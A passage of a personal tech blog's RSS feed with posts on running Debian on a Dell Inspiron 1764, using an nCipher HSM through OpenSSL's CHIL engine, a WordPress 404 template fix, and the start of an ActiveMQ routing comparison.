		<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[AMD64]]></category>
		<category><![CDATA[BCM4353]]></category>
		<category><![CDATA[Dell]]></category>
		<category><![CDATA[GNU]]></category>
		<category><![CDATA[Inspiron]]></category>
		<category><![CDATA[Radeon]]></category>
		<guid isPermaLink="false">http://www.burghardt.pl/?p=387</guid>

					<description><![CDATA[<p>Installing, configuring and using Debian GNU/Linux on Dell Inspiron 1764 (N0476409) notebook. Hardware overview Intel Core i5-520M (2.4GHz, 4 Threads, turbo Boost up to 2.93GHz, 3M cache) 17.3&#8243; WLED High Definition+ (1600&#215;900) TFT Display 1GB ATI Mobility Radeon HD 5450 4096MB 1067MHz Dual Channel DDR3 SDRAM (2&#215;2048) 500GB (5400RPM) Serial ATA Hard Drive DVD +/- &#8230; <a href="https://blog.burghardt.pl/2010/04/debian-gnulinux-on-dell-inspiron-1764/" class="more-link">Continue reading<span class="screen-reader-text"> "Debian GNU/Linux on Dell Inspiron 1764"</span></a></p>
The post <a href="https://blog.burghardt.pl/2010/04/debian-gnulinux-on-dell-inspiron-1764/">Debian GNU/Linux on Dell Inspiron 1764</a> first appeared on <a href="https://blog.burghardt.pl">Krzysztof Burghardt’s blog</a>.]]></description>
										<content:encoded><![CDATA[<p>Installing, configuring and using Debian GNU/Linux on <a href="http://www1.euro.dell.com/uk/en/home/Laptops/inspiron-1764/pd.aspx?refid=inspiron-1764&#038;cs=ukdhs1&#038;s=dhs">Dell Inspiron 1764</a> (<a href="http://www.google.com/search?q=N0476409">N0476409</a>) notebook.</p>
<p><span id="more-387"></span></p>
<h2>Hardware overview</h2>
<ul>
<li>Intel Core i5-520M (2.4GHz, 4 Threads, turbo Boost up to 2.93GHz, 3M cache)</li>
<li>17.3&#8243; WLED High Definition+ (1600&#215;900) TFT Display</li>
<li>1GB ATI Mobility Radeon HD 5450</li>
<li>4096MB 1067MHz Dual Channel DDR3 SDRAM (2&#215;2048)</li>
<li>500GB (5400RPM) Serial ATA Hard Drive</li>
<li>DVD +/- RW Drive (read/write CD &#038; DVD)</li>
<li>Dell Wireless 1520 (802.11a/b/g/n)</li>
<li>Dell Bluetooth 365</li>
<li>Integrated 1,3MP webcam</li>
</ul>
<h2>Devices that works with Linux</h2>
<ul>
<li>CPU: both cores and HT works, recent Linux kernels support speedstep,</li>
<li>USB: works (even with Debian Installer images),</li>
<li>DVD+/-RW: works (even with Debian Installer images),</li>
<li>Graphic: basic features (2D, hardware accelerated 3D rendering) works with <strong>proprietary drivers only</strong>, most other features (CAL, POWERplay, multihead) unsupported; <strong>no FLOSS alternative</strong>,</li>
<li>Sound: works, but I need to pass options to module to make sound work properly,</li>
<li>Ethernet: works (even with Debian Installer images),</li>
<li>Wireless LAN: basic features (STA mode) supported by <strong>proprietary drivers only</strong>, other features (monitor mode and packet injection) not supported; <strong>no FLOSS alternative</strong>,</li>
<li>Bluetooth: works (as HCI only after reset with hid2hci),</li>
<li>Card reader: works (tested with MicroSD and Memory Stick PRO Duo, both with adapters),</li>
<li>Webcam: works.</li>
</ul>
<p></p>
<p>Also &#8220;Suspend to RAM&#8221; works using sysfs method of hibernate script. &#8220;Suspend to disk&#8221; works using ususpend method.</p>
<h2>Devices that does not work with Linux</h2>
<ul>
<li>none :-D</li>
</ul>
<h2>Devices</h2>
<ul>
<li><a href='/wp-content/uploads/2010/04/dmesg.txt' title='Linux kernel messages'>Linux kernel messages</a></li>
<li><a href='/wp-content/uploads/2010/04/lspci.txt' title='PCI devices list'>PCI devices list</a></li>
<li><a href='/wp-content/uploads/2010/04/lsusb.txt' title='USB devices list'>USB devices list</a></li>
<li><a href='/wp-content/uploads/2010/04/cpuinfo.txt' title='Processor details'>Processor details</a></li>
</ul>
<h2>Configuration</h2>
<h3>Graphic</h3>
<p>Download and install <a href="http://support.amd.com/us/gpudownload/Pages/index.aspx">fglrx</a> driver. <a href="http://www.google.com/search?q=fglrx+install">Google</a> is full of instruction how to install it, so I skip this step.</p>
<p>When driver is installed and fglrx is loaded into kernel its time to configure X.Org. Probably aticonfig would be best choice, but it fails on Mobility Radeon HD 5000 series cards with message:</p>
<pre>
# aticonfig --initial
aticonfig: No supported adapters detected
</pre>
<p>Download <a href='/wp-content/uploads/2010/04/xorg.txt'>my xorg.conf</a> and put it into <em>/etc/X11</em> directory. Then start X-server using <em>startx</em> command. My default layout include Inspiron&#8217;s built-in TFT screen, ATI Mobility Radeon HD 5450, ALPS touchpad and any other mice connected to it.</p>
<p>You will probably see &#8220;AMD unsupported hardware&#8221; watermark in lower right corner of the screen. There is no configuration option to remove it. Removal is possible by patching <em>fglrx_drv.so</em> file. <a href="http://www.phoronix.com/forums/member.php?u=6147">Kano</a> posted small script to replace call to EnableLogo with NOPs on <a href="http://www.phoronix.com/forums/showthread.php?t=19875">Phoronix Forums&#8217; thread &#8220;Unsupported Hardware watermark&#8221;</a>:</p>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;"><span style="color: #666666; font-style: italic;">#!/bin/sh</span><br />
<span style="color: #007800;">DRIVER</span>=<span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>xorg<span style="color: #000000; font-weight: bold;">/</span>modules<span style="color: #000000; font-weight: bold;">/</span>drivers<span style="color: #000000; font-weight: bold;">/</span>fglrx_drv.so<br />
<span style="color: #000000; font-weight: bold;">for</span> x <span style="color: #000000; font-weight: bold;">in</span> $<span style="color: #7a0874; font-weight: bold;">&#40;</span>objdump <span style="color: #660033;">-d</span> <span style="color: #007800;">$DRIVER</span><span style="color: #000000; font-weight: bold;">|</span><span style="color: #c20cb9; font-weight: bold;">awk</span> <span style="color: #ff0000;">'/call/&amp;&amp;/EnableLogo/{print &quot;\\x&quot;$2&quot;\\x&quot;$3&quot;\\x&quot;$4&quot;\\x&quot;$5&quot;\\x&quot;$6}'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>; <span style="color: #000000; font-weight: bold;">do</span><br />
&nbsp;<span style="color: #c20cb9; font-weight: bold;">sed</span> <span style="color: #660033;">-i</span> <span style="color: #ff0000;">&quot;s/<span style="color: #007800;">$x</span>/\x90\x90\x90\x90\x90/g&quot;</span> <span style="color: #007800;">$DRIVER</span><br />
<span style="color: #000000; font-weight: bold;">done</span></div></div>
<h3>Sound</h3>
<p>Create file <em>/etc/modprobe.d/sound</em> with following content:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;">alias snd-card-0 snd-hda-intel<br />
options snd-hda-intel model=dell index=0</div></div>
<p>Reload alsa driver (or reboot).</p>
<h3>Wireless LAN</h3>
<p>Drivers need to be compiled from sources. First prepare your system for kernel module building. Install <em>build-essential</em> and <em>module-assistant</em> packages.Then prepare kernel headers:</p>
<pre>
# aptitude install build-essential module-assistant
# m-a prepare
</pre>
<p>When kernel headers are ready download <a href="http://www.broadcom.com/support/802.11/linux_sta.php">802.11 Linux STA driver</a> for Broadcom&#8217;s IEEE 802.11a/b/g/n devices (this includes BCM4311, BCM4312, BCM4313, BCM4321 and BCM4322). Compile it. Install. And finally load into running kernel:</p>
<pre>
# cd /usr/src
# wget http://www.broadcom.com/docs/linux_sta/hybrid-portsrc-x86_64-v5.60.48.36.tar.gz
# mkdir hybrid-portsrc-x86_64-v5.60.48.36
# cd hybrid-portsrc-x86_64-v5.60.48.36
# tar zxf ../hybrid-portsrc-x86_64-v5.60.48.36.tar.gz
# make
# mkdir /lib/modules/`uname -r`/local
# cp wl.ko /lib/modules/`uname -r`/local
# depmod -A
# modprobe -v wl
</pre>
<p>Command <em>dmesg | tail</em> should output something similar to this:</p>
<pre>
wlan0: Broadcom BCM4353 802.11 Hybrid Wireless Controller 5.60.48.36
</pre>
<h3>Bluetooth</h3>
<p>Dell Bluetooth 365 is detected as HCI on kernel <a href="http://packages.debian.org/lenny-backports/linux-headers-2.6.32-bpo.4-amd64">2.6.32-bpo.4-amd64</a> only if previously reset with hid2hci (get a copy form <a href="http://packages.debian.org/lenny-backports/bluez">bluez 4.6</a>). This is actually <a href="http://idebian.wordpress.com/2008/07/06/manage-hid-bluetooth-devices-in-linux/">a feature, not a bug</a>. Use recent hid2hci to put device into HCI mode:</p>
<pre>
# hid2hci -m dell -v 413c -p 8162
Attempting to switch device 413c:8162 to HCI mode was successful
</pre>The post <a href="https://blog.burghardt.pl/2010/04/debian-gnulinux-on-dell-inspiron-1764/">Debian GNU/Linux on Dell Inspiron 1764</a> first appeared on <a href="https://blog.burghardt.pl">Krzysztof Burghardt’s blog</a>.]]></content:encoded>
					
					<wfw:commentRss>https://blog.burghardt.pl/2010/04/debian-gnulinux-on-dell-inspiron-1764/feed/</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		
			</item>
		<item>
		<title>nCipher HSM with OpenSSL</title>
		<link>https://blog.burghardt.pl/2010/03/ncipher-hsm-with-openssl/</link>
					<comments>https://blog.burghardt.pl/2010/03/ncipher-hsm-with-openssl/#comments</comments>
		
		<dc:creator><![CDATA[Krzysztof Burghardt]]></dc:creator>
		<pubDate>Tue, 02 Mar 2010 22:36:50 +0000</pubDate>
				<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[CHIL]]></category>
		<category><![CDATA[HSM]]></category>
		<category><![CDATA[nCipher]]></category>
		<category><![CDATA[OpenSSL]]></category>
		<guid isPermaLink="false">http://www.burghardt.pl/?p=370</guid>

					<description><![CDATA[<p>I just finished playing with some nCipher&#8217;s HSM. Unfortunately there is no integration guide for OpenSSL that cover CHIL interface and nCipher hardware security modules. nCipher&#8217;s installation guide is quite good, but after you finish installing hardware, drivers and daemons, you are on your own. I found only two helpful sources: Andrea Campi&#8217;s blog entry &#8230; <a href="https://blog.burghardt.pl/2010/03/ncipher-hsm-with-openssl/" class="more-link">Continue reading<span class="screen-reader-text"> "nCipher HSM with OpenSSL"</span></a></p>
The post <a href="https://blog.burghardt.pl/2010/03/ncipher-hsm-with-openssl/">nCipher HSM with OpenSSL</a> first appeared on <a href="https://blog.burghardt.pl">Krzysztof Burghardt’s blog</a>.]]></description>
										<content:encoded><![CDATA[<p>I just finished playing with some <a href="http://iss.thalesgroup.com/">nCipher&#8217;s</a> <a href="http://en.wikipedia.org/wiki/Hardware_security_module">HSM</a>. Unfortunately there is no integration guide for <a href="http://www.openssl.org/">OpenSSL</a> that cover CHIL interface and nCipher hardware security modules.</p>
<p>nCipher&#8217;s installation guide is quite good, but after you finish installing hardware, drivers and daemons, you are on your own.</p>
<p>I found only two helpful sources: Andrea Campi&#8217;s blog entry about <a href="http://blog.webcom.it/articles/2006/04/07/ncipher-nethsm-with-openssl-tutorial/">nCipher NetHSM and OpenSSL</a> and Marek Marcola&#8217;s <a href="http://www.mail-archive.com/openssl-users@openssl.org/msg47199.html">post on openssl-users mailing list</a>.</p>
<p>Both guides ends on key generation and self-signed certificates. Its enough to get CHIL enabled application to work with nCipher&#8217;s HSM, but will not help you to convert any existing OpenSSL (not an CHIL-aware) application to use HSM.</p>
<p><span id="more-370"></span></p>
<h2>CHIL enabled OpenSSL</h2>
<p>When you have driver, hardserver and chil library for your HSM installed the next step is to install OpenSSL with CHIL support enabled. Modern Linux distribution may have CHIL already enabled. If so, there should be <em>libchil.so</em> library in <em>/usr/lib/ssl/engines</em> directory.</p>
<p>If <em>libchil.so</em> is missing follow OpenSSL installation steps as described in <a href="http://iss.thalesgroup.com/Resources/~/media/Files/Integration%20Guides/Apache22x.ashx">Apache2.2.x, OpenSSL 0.9.8x and nCipher Modules Integration Guide</a>.</p>
<p>When OpenSSL in installed, add <em>/opt/nfast/toolkits/hwcrhk</em> to LD_LIBRARY_PATH:</p>
<pre>
$ export LD_LIBRARY_PATH=/opt/nfast/toolkits/hwcrhk
</pre>
<p>To check if OpenSSL is able to communicate with HSM trough CHIL interface run:</p>
<pre>
$ openssl engine -t chil
(chil) CHIL hardware engine support
     [ available ]
</pre>
<p>If CHIL is <strong>available</strong> benchmark HSM with:</p>
<pre>
$ openssl speed rsa -engine chil -elapsed -multi 50
</pre>
<h2>Hardware accelerated cryptography</h2>
<p>Use <a href="http://www.openssl.org/docs/crypto/engine.html">engine</a> interface to switch to cryptography implementation from hardware security module.</p>
<div class="codecolorer-container c default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="c codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;"><span style="color: #339933;">#include &lt;openssl/engine.h&gt;</span><br />
<br />
ENGINE <span style="color: #339933;">*</span>hwEngine <span style="color: #339933;">=</span> NULL<span style="color: #339933;">;</span><br />
<br />
<span style="color: #993333;">int</span> enable_chil<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; ENGINE_load_builtin_engines<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #009900;">&#40;</span>hwEngine <span style="color: #339933;">=</span> ENGINE_by_id<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;CHIL&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>ENGINE_set_default<span style="color: #009900;">&#40;</span>hwEngine<span style="color: #339933;">,</span> ENGINE_METHOD_ALL<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #339933;">-</span><span style="color: #0000dd;">2</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<p>When application finish its cryptography operations, it should free engine.</p>
<div class="codecolorer-container c default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="c codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;"><span style="color: #993333;">void</span> disable_chil<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>hwEngine<span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; ENGINE_finish<span style="color: #009900;">&#40;</span>hwEngine<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; hwEngine <span style="color: #339933;">=</span> NULL<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; ENGINE_cleanup<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<h2>Hardware key protection/storage</h2>
<p>If you want to make your private keys more secure you should use hardware key protection (or even storage).</p>
<p>Hardware protected keys are stored on local filesystem, but encrypted by key stored only in HSM. To generate such key use:</p>
<pre>
$ /opt/nfast/bin/generatekey hwcrhk
</pre>
<p>Answer some questions (Protected by? module, Key type? RSA, Key size? 4096, Key identifier? keyname) and your encrypted (by module, as you choose in question above) private key is saved in <em>/opt/nfast/kmdata/local/key_hwcrhk_rsa-keyname</em>.</p>
<p>When using locally stored encryption keys you load them as in this example (I use <a href="http://www.openssl.org/docs/crypto/evp.html">EVP</a> interface for high-level cryptographic functions):</p>
<div class="codecolorer-container c default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="c codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;">EVP_PKEY <span style="color: #339933;">*</span>pkey <span style="color: #339933;">=</span> NULL<span style="color: #339933;">;</span><br />
<br />
<span style="color: #993333;">int</span> load_key<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; fp <span style="color: #339933;">=</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/fopen.html"><span style="color: #000066;">fopen</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;filename.key&quot;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;r&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>fp <span style="color: #339933;">==</span> NULL<span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; pkey <span style="color: #339933;">=</span> PEM_read_PrivateKey<span style="color: #009900;">&#40;</span>fp<span style="color: #339933;">,</span> NULL<span style="color: #339933;">,</span> NULL<span style="color: #339933;">,</span> NULL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<p>When you have CHIL keys, loading them is also very simple:</p>
<div class="codecolorer-container c default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="c codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;"><span style="color: #993333;">void</span> load_key_chil<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; pkey <span style="color: #339933;">=</span> ENGINE_load_private_key<span style="color: #009900;">&#40;</span>hwEngine<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;rsa-keyname&quot;</span><span style="color: #339933;">,</span> NULL<span style="color: #339933;">,</span> NULL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<p>When key is no longer in use destroy it with:</p>
<div class="codecolorer-container c default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="c codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;"><span style="color: #993333;">void</span> free_key<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; EVP_PKEY_free<span style="color: #009900;">&#40;</span>pkey<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<p>If application just need to do some hardware accelerated RSA or it need to use hardware protected keys those code pieces along with CHIL-enabled OpenSSL is all you need.</p>The post <a href="https://blog.burghardt.pl/2010/03/ncipher-hsm-with-openssl/">nCipher HSM with OpenSSL</a> first appeared on <a href="https://blog.burghardt.pl">Krzysztof Burghardt’s blog</a>.]]></content:encoded>
					
					<wfw:commentRss>https://blog.burghardt.pl/2010/03/ncipher-hsm-with-openssl/feed/</wfw:commentRss>
			<slash:comments>7</slash:comments>
		
		
			</item>
		<item>
		<title>Integration of AA Google 404 with Atahualpa</title>
		<link>https://blog.burghardt.pl/2009/11/integration-of-aa-google-404-with-atahualpa/</link>
					<comments>https://blog.burghardt.pl/2009/11/integration-of-aa-google-404-with-atahualpa/#respond</comments>
		
		<dc:creator><![CDATA[Krzysztof Burghardt]]></dc:creator>
		<pubDate>Fri, 13 Nov 2009 01:41:55 +0000</pubDate>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Atahualpa]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[WordPress]]></category>
		<guid isPermaLink="false">http://www.burghardt.pl/?p=361</guid>

					<description><![CDATA[<p>AskApache Google 404 default 404.php does not work properly with Atahualpa theme. To fix those problems create another 404.php file in /themes/atahualpa with this content: &#60;?php ob_start&#40;&#41;; include&#40;TEMPLATEPATH . '/functions/bfa_get_options.php'&#41;; get_header&#40;&#41;; if &#40;function_exists&#40;'aa_google_404'&#41;&#41; &#160; &#160; aa_google_404&#40;&#41;; else &#123; ?&#62; &#160; &#160; &#60;h2&#62;&#60;?php _e&#40;'Not Found','atahualpa'&#41;; ?&#62;&#60;/h2&#62; &#160; &#160; &#60;p&#62;&#60;?php _e&#40;&#34;Sorry, but you are looking for something &#8230; <a href="https://blog.burghardt.pl/2009/11/integration-of-aa-google-404-with-atahualpa/" class="more-link">Continue reading<span class="screen-reader-text"> "Integration of AA Google 404 with Atahualpa"</span></a></p>
The post <a href="https://blog.burghardt.pl/2009/11/integration-of-aa-google-404-with-atahualpa/">Integration of AA Google 404 with Atahualpa</a> first appeared on <a href="https://blog.burghardt.pl">Krzysztof Burghardt’s blog</a>.]]></description>
										<content:encoded><![CDATA[<p><a href="http://wordpress.org/extend/plugins/askapache-google-404/">AskApache Google 404</a> default 404.php does not work properly with <a href="http://wordpress.org/extend/themes/atahualpa">Atahualpa</a> theme. To fix those problems create another 404.php file in <em>/themes/atahualpa</em> with this content:</p>
<p><span id="more-361"></span></p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;"><span style="color: #000000; font-weight: bold;">&lt;?php</span><br />
<br />
<a href="http://www.php.net/ob_start"><span style="color: #990000;">ob_start</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span>TEMPLATEPATH <span style="color: #339933;">.</span> <span style="color: #0000ff;">'/functions/bfa_get_options.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
get_header<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'aa_google_404'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; aa_google_404<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">else</span><br />
<span style="color: #009900;">&#123;</span><br />
<span style="color: #000000; font-weight: bold;">?&gt;</span><br />
&nbsp; &nbsp; <span style="color: #339933;">&lt;</span>h2<span style="color: #339933;">&gt;</span><span style="color: #000000; font-weight: bold;">&lt;?php</span> _e<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Not Found'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'atahualpa'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span><span style="color: #339933;">&lt;/</span>h2<span style="color: #339933;">&gt;</span><br />
&nbsp; &nbsp; <span style="color: #339933;">&lt;</span>p<span style="color: #339933;">&gt;</span><span style="color: #000000; font-weight: bold;">&lt;?php</span> _e<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Sorry, but you are looking for something that isn't here.&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;atahualpa&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span><span style="color: #339933;">&lt;/</span>p<span style="color: #339933;">&gt;</span><br />
<span style="color: #000000; font-weight: bold;">&lt;?php</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
bfa_center_content<span style="color: #009900;">&#40;</span><span style="color: #000088;">$bfa_ata</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'center_content_bottom'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
get_footer<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
<a href="http://www.php.net/exit"><span style="color: #990000;">exit</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<p>When it is done, choose <em>wp-content/themes/atahualpa/404.php</em> as <strong>404 File Handling</strong> and enable AA Google 404.</p>The post <a href="https://blog.burghardt.pl/2009/11/integration-of-aa-google-404-with-atahualpa/">Integration of AA Google 404 with Atahualpa</a> first appeared on <a href="https://blog.burghardt.pl">Krzysztof Burghardt’s blog</a>.]]></content:encoded>
					
					<wfw:commentRss>https://blog.burghardt.pl/2009/11/integration-of-aa-google-404-with-atahualpa/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Virtual destinations are faster than Camel routing</title>
		<link>https://blog.burghardt.pl/2009/10/virtual-destinations-are-faster-than-camel-routing/</link>
					<comments>https://blog.burghardt.pl/2009/10/virtual-destinations-are-faster-than-camel-routing/#respond</comments>
		
		<dc:creator><![CDATA[Krzysztof Burghardt]]></dc:creator>
		<pubDate>Sat, 31 Oct 2009 20:26:08 +0000</pubDate>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[ActiveMQ]]></category>
		<category><![CDATA[Camel]]></category>
		<category><![CDATA[queue]]></category>
		<category><![CDATA[routing]]></category>
		<guid isPermaLink="false">http://www.burghardt.pl/?p=328</guid>

					<description><![CDATA[<p>Routing messages from one input queue to two output queues in ActiveMQ can be done in two different ways. Apache Camel, a powerful rule-based routing engine often used with ActiveMQ, is a typical choice. Virtual composite queue is another solution. Which to choose? The faster. Apache Camel Camel configuration I use: &#60;beans &#160; &#160;xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; &#160; &#8230; <a href="https://blog.burghardt.pl/2009/10/virtual-destinations-are-faster-than-camel-routing/" class="more-link">Continue reading<span class="screen-reader-text"> "Virtual destinations are faster than Camel routing"</span></a></p>
The post <a href="https://blog.burghardt.pl/2009/10/virtual-destinations-are-faster-than-camel-routing/">Virtual destinations are faster than Camel routing</a> first appeared on <a href="https://blog.burghardt.pl">Krzysztof Burghardt’s blog</a>.]]></description>
										<content:encoded><![CDATA[<p>Routing messages from one input queue to two output queues in <a href="http://activemq.apache.org/">ActiveMQ</a> can be done in two different ways. <a href="http://camel.apache.org/">Apache Camel</a>, a powerful rule-based routing engine often used with <a href="http://activemq.apache.org/">ActiveMQ</a>, is a typical choice. <a href="http://activemq.apache.org/virtual-destinations.html">Virtual composite queue</a> is another solution. Which to choose? The faster.</p>
<p><span id="more-328"></span></p>
<h2>Apache Camel</h2>
<p>Camel configuration I use:</p>
<div class="codecolorer-container xml default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><div class="xml codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;"><span style="color: #000000; font-weight: bold;">&lt;beans</span><br />
&nbsp; &nbsp; <span style="color: #000066;">xmlns:xsi</span>=<span style="color: #ff0000;">&quot;http://www.w3.org/2001/XMLSchema-instance&quot;</span><br />
&nbsp; &nbsp; <span style="color: #000066;">xsi:schemaLocation</span>=<span style="color: #ff0000;">&quot;http://camel.apache.org/schema/spring http://camel.apache.org/schema/spring/camel-spring.xsd&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;camelContext</span> <span style="color: #000066;">id</span>=<span style="color: #ff0000;">&quot;camel&quot;</span> <span style="color: #000066;">xmlns</span>=<span style="color: #ff0000;">&quot;http://camel.apache.org/schema/spring&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;route<span style="color: #000000; font-weight: bold;">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;from</span> <span style="color: #000066;">uri</span>=<span style="color: #ff0000;">&quot;activemq:INPUT-QUEUE&quot;</span><span style="color: #000000; font-weight: bold;">/&gt;</span><br />
